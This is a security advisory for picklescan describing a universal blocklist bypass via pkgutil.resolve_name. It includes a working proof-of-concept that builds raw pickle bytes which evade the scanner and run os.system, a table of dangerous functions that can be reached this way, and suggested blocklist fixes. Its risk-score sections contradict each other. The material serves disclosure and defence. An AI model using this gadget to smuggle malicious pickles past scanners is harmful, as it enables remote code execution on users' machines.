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PYSEC-2026-456

CriticalCVSS 10 / 10
Published Jun 29, 2026·Last modified Jun 29, 2026
Affected Components(0)

No affected components available

Description

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees:

  • STACK_GLOBAL with module=pkgutil, name=resolve_nameNOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | resolve_name("os:system") | os.system | YES | CLEAN | | resolve_name("builtins:exec") | builtins.exec | YES | CLEAN | | resolve_name("builtins:eval") | builtins.eval | YES | CLEAN | | resolve_name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN | | resolve_name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN | | resolve_name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_call") | subprocess.check_call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_output") | subprocess.check_output | YES (shell=True needed) | CLEAN | | resolve_name("posix:system") | posix.system | YES | CLEAN | | resolve_name("cProfile:run") | cProfile.run | YES | CLEAN | | resolve_name("profile:run") | profile.run | YES | CLEAN | | resolve_name("pty:spawn") | pty.spawn | YES | CLEAN |

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

 # picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects:

  • HuggingFace Hub (uses picklescan)
  • Any ML pipeline using picklescan for safety validation
  • Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

  1. Immediate: Add pkgutil to _unsafe_globals:

    "pkgutil": {"resolve_name"},
    
  2. Also block similar resolution functions:

    "importlib": "*",
    "importlib.util": "*",
    
  3. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:

    • Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
    • Treating unknown globals as dangerous by default
    • Switching to an allowlist model
Risk Scores
Base Score
10.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.62%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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